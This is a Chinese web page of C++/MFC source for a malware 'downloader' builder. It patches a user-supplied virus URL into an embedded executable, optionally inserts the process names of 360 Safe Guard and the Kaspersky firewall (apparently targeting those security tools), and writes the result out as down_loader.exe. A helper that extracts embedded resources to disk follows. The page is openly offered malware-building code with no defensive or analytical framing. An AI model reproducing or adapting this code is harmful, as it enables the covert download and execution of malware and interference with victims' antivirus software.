下载者

来源:互联网 发布:模糊k均值聚类算法 编辑:程序博客网 时间:2024/05/01 15:54
CString sz1,sz2;
sz1=(((CButton*)(GetDlgItem(IDC_CHECK1)))->GetCheck()&1)?"360tray.exe":"";//判断选项1是否被选
sz2=(((CButton*)(GetDlgItem(IDC_CHECK2)))->GetCheck()&1)?"KAVPF.exe":"";//判断选项2是否被选
char url[52];
memset(url,0,52);
if(m_url=="")          //url是网路上病毒的地址
{
MessageBox("请填写病毒地址");
return;

}


sprintf(url,"%s",m_url);            
HRSRC hres;                          //Handle to a resource. 
HGLOBAL hresdata;                 //Handle to a global memory block.
DWORD dwsize,dwwritten;
LPBYTE p;                                 //对字节的长指针
HANDLE hfile;
hres=FindResource(NULL,MAKEINTRESOURCE(IDR_EXE),"EXE");//查找资源返回指定资源的句柄
if(hres==NULL)
return;
dwsize=SizeofResource(NULL,hres);   //资源大小
hresdata=LoadResource(NULL,hres);        //加载资源(DLL,EXE)其他的什么到全局内存中,返回资源的指针


if(hresdata==NULL)
return;
p=(LPBYTE)GlobalAlloc(GPTR,dwsize);     //分配全局内存GPTR初始化为0并且具有默认属性。dwsize是大小
if(p==NULL)
return;
CopyMemory((LPVOID)p,(LPCVOID)LockResource(hresdata),dwsize);
//copymemory(des,obj,size)  des:新的位置,obj原始地址,size拷贝的大小。

CopyMemory((LPVOID)(p+0x2001c),(LPCVOID)url,52);//将用户输入的网站地址写入Downloader
if(sz1!="")
CopyMemory((LPVOID)(p+0x2007c),(LPCVOID)sz1,15);//如果用户选择了选项1,则将360安全卫士的进程名写入Downloader
if(sz2!="")
CopyMemory((LPVOID)(p+0x20068),(LPCVOID)sz2,14);//如果用户选择了选项2,则将卡巴防火墙的进程名写入Downloader
char path[256];
GetCurrentDirectory(256,path);   //得到当前程序运行的路径放在PATH中,
strcat(path,"\\down_loader.exe");//在程序目录下生成Downloader,名为“down_loader.exe”
DeleteFile(path);
hfile=CreateFile(path,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);  //创建文件,0KB大小
if(hfile==NULL)
return;
WriteFile(hfile,(LPVOID)p,dwsize,&dwwritten,NULL);       //写文件

CloseHandle(hfile);


装载指定EXE:

BOOL LoadSource(UINT resoure_id , const char * type , const char * filepath)
{
//获得资源指针
HRSRC hRsrc = ::FindResource( NULL , MAKEINTRESOURCE( resoure_id ) , type );

if( hRsrc )
{   //获得资源大小
DWORD size = ::SizeofResource( NULL , hRsrc );
        //将资源载入内存
HGLOBAL  handle = ::LoadResource( NULL , hRsrc );
        //写入文件     
if( handle )
{   //定位资源位置
BYTE *MemPtr = (BYTE *)LockResource( handle ); 


CFile file;


if( file.Open( filepath , CFile::modeCreate | CFile::modeWrite ) )
{
file.Write( MemPtr , size );


file.Close( );
}
::UnlockResource( handle );
}
::FreeResource( handle );
return TRUE;
}
return FALSE;
}